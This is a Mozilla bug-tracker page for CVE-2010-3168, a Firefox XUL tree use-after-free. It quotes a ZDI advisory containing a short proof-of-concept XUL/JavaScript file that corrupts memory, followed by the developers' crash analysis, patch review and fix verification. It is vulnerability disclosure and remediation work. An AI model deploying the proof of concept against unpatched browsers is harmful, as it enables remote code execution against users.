Closed
Bug 576075
(CVE-2010-3168)
Opened 15 years ago
Closed 15 years ago
tree Object Removal Remote Code Execution Vulnerability (ZDI-CAN-817)
Categories
(Core :: XUL, defect)
Core
XUL
Tracking
()
People
(Reporter: reed, Assigned: smaug)
Details
(Keywords: verified1.9.1, verified1.9.2, Whiteboard: [sg:critical?] maybe sg:dos in 1.9.2 and later? [critsmash:investigating])
Attachments
(3 files)
55.66 KB,
text/plain
|
Details | |
7.33 KB,
patch
|
enndeakin
:
review+
christian
:
approval1.9.2.9+
christian
:
approval1.9.1.12+
|
Details | Diff | Splinter Review |
5.75 KB,
patch
|
Details | Diff | Splinter Review |
ZDI-CAN-817: Mozilla Firefox tree Object Removal Remote Code Execution Vulnerability
-- ABSTRACT ------------------------------------------------------------
TippingPoint has identified a vulnerability affecting the following
products:
Mozilla Firefox 3.6.x
-- VULNERABILITY DETAILS -----------------------------------------------
This vulnerability allows remote attackers to execute arbitrary code on
vulnerable installations of Mozilla Firefox. User interaction is
required to exploit this vulnerability in that the target must visit a
malicious page or open a malicious file.
The specific flaw exists within the support for XUL <tree> objects. If a
specific property of a tree object is set and the parent node attempts
to remove the child, the process can be made to access invalid memory.
This can be abused by an attacker to execute remote code under the
context of the user running the browser.
Version(s) tested: Mozilla Firefox 3.6.2
Platform(s) tested: Windows XP SP3 x86
<window
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"
onload="run()">
<tree>
<treecols/>
<treechildren/>
</tree>
<script type="text/javascript"><![CDATA[
function run() {
var tree = document.getElementsByTagName("tree")[0];
var view = tree.treeBoxObject.view;
view.selection = {
isSelected : function(i) {
return false;
},
set tree(t) {
if (t == null) {
tree.parentNode.removeChild(tree);
}
}
};
var body = tree.treeBoxObject.treeBody;
body.parentNode.removeChild(body);
}
]]></script>
-- CREDIT --------------------------------------------------------------
This vulnerability was discovered by:
* regenrecht
Reporter | ||
Comment 1•15 years ago
|
||
bp-1622bdfd-786f-4d9b-ad21-b97802100630
Mozilla/5.0 (X11; U; Linux i686; en-US; rv:2.0b2pre) Gecko/20100630 Minefield/4.0b2pre
Comment 2•15 years ago
|
||
###!!! ASSERTION: Want to fire mutation events, but it's not safe: '(aNode->IsNodeOfType(nsINode::eCONTENT) && static_cast<nsIContent*>(aNode)-> IsInNativeAnonymousSubtree()) || sScriptBlockerCount == sRemovableScriptBlockerCount', file build/content/base/src/nsContentUtils.cpp, line 3534
###!!! ASSERTION: recurring into frame construction: 'mPresContext->mLayoutPhaseCount[eLayoutPhase_FrameC] == 0', file build/layout/base/nsPresContext.h, line 1275
Crash [@ nsStyleContext::GetRuleNode] [@ nsBoxFrame::RemoveFrame]
Reporter | ||
Updated•15 years ago
|
blocking1.9.1: --- → ?
blocking1.9.2: --- → ?
blocking2.0: --- → ?
status1.9.1:
--- → ?
status1.9.2:
--- → ?
Again, we need to prevent content script from implement nsITreeSelection. How do we do that?
In fact, why should content script *ever* be allowed to implement XPCOM interfaces via XPConnect?
In fact I thought we changed things to prevent that already...
![]() |
||
Comment 6•15 years ago
|
||
It's required for some DOM stuff... EventListener objects, specifically. :(
I would be fine with needing to explicitly flag interfaces that content script can implement, though.
OK, then let's do that.
Comment 8•15 years ago
|
||
On 3.6.x I get bp-25fbd0c4-b2ae-4e0c-bd95-ac5052100630 -- isn't that a frame-poisoned address and evidence that we've neutered this one?
On 3.5.x it's bad though, looks like it's off executing at a random address: bp-47bf29d4-1c50-4fe0-b24b-4e85a2100630
Comment 9•15 years ago
|
||
I don't know of a way to specifically prevent content code from implementing a specific interface, we'd pretty much need to do what bz suggested, e.g. explicitly marking the interfaces that we do let content implement (event handlers, user data handlers, tree iterator callbacks, etc).
But we could plug this hole if we simply made the tree.treeBoxObject.view object check in its selection setter that the given nsITreeSelection really is what we expect it to be (by QIing to a non-scriptable interface and making sure that QI succeeds). We do similar things in various places in the DOM code (by QI'ing to nsIContent or what not).
Yeah, we need to do both.
Updated•15 years ago
|
blocking1.9.1: ? → .12+
blocking1.9.2: ? → .8+
Whiteboard: [sg:critical?] → [sg:critical?] maybe just sg:dos in 1.9.2 and later?
Updated•15 years ago
|
Whiteboard: [sg:critical?] maybe just sg:dos in 1.9.2 and later? → [sg:critical?] maybe sg:dos in 1.9.2 and later?
Assignee: nobody → Olli.Pettay
Updated•15 years ago
|
Whiteboard: [sg:critical?] maybe sg:dos in 1.9.2 and later? → [sg:critical?] maybe sg:dos in 1.9.2 and later? [critsmash:investigating]
Updated•15 years ago
|
Assignee | ||
Comment 11•15 years ago
|
||
Sorry for the delay. I'll look into this later today or tomorrow.
Assignee | ||
Comment 12•15 years ago
|
||
The patch is on purpose very similar to Bug 326501,
but had to add security check also the treebuilder.
As far as I see, other SetSelection methods aren't accessible from content.
Attachment #460843 -
Flags: review?
Assignee | ||
Updated•15 years ago
|
Attachment #460843 -
Flags: review? → review?(enndeakin)
Assignee | ||
Comment 13•15 years ago
|
||
And because we need the patch for branches, I didn't make
a generic "IsNative" interface, but took the safer approach and added a new
interface for TreeSelection.
Updated•15 years ago
|
Attachment #460843 -
Flags: review?(enndeakin) → review+
Assignee | ||
Comment 14•15 years ago
|
||
Status: NEW → RESOLVED
Closed: 15 years ago
Resolution: --- → FIXED
Assignee | ||
Updated•15 years ago
|
Attachment #460843 -
Flags: approval1.9.2.9?
Attachment #460843 -
Flags: approval1.9.1.12?
Comment 15•15 years ago
|
||
Comment on attachment 460843 [details] [diff] [review]
patch
a=LegNeato for 1.9.2.9 and 1.9.1.12.
Attachment #460843 -
Flags: approval1.9.2.9?
Attachment #460843 -
Flags: approval1.9.2.9+
Attachment #460843 -
Flags: approval1.9.1.12?
Attachment #460843 -
Flags: approval1.9.1.12+
Assignee | ||
Comment 16•15 years ago
|
||
Assignee | ||
Comment 17•15 years ago
|
||
Comment 18•15 years ago
|
||
Verified for 1.9.2.9 with Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.9pre) Gecko/20100817 Namoroka/3.6.9pre ( .NET CLR 3.5.30729) using PoC. Does not crash as it does in 1.9.2.8.
Verified for 1.9.1.12 with Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.12pre) Gecko/20100817 Shiretoko/3.5.12pre ( .NET CLR 3.5.30729) using same PoC. Does not crash as it does in 1.9.1.11.
Keywords: verified1.9.1,
verified1.9.2
Comment 19•15 years ago
|
||
Updated•14 years ago
|
Alias: CVE-2010-3168
Assignee: Olli.Pettay → dveditz
Reporter | ||
Updated•14 years ago
|
Assignee: dveditz → Olli.Pettay
Updated•14 years ago
|
Group: core-security
You need to log in
before you can comment on or make changes to this bug.
Description
•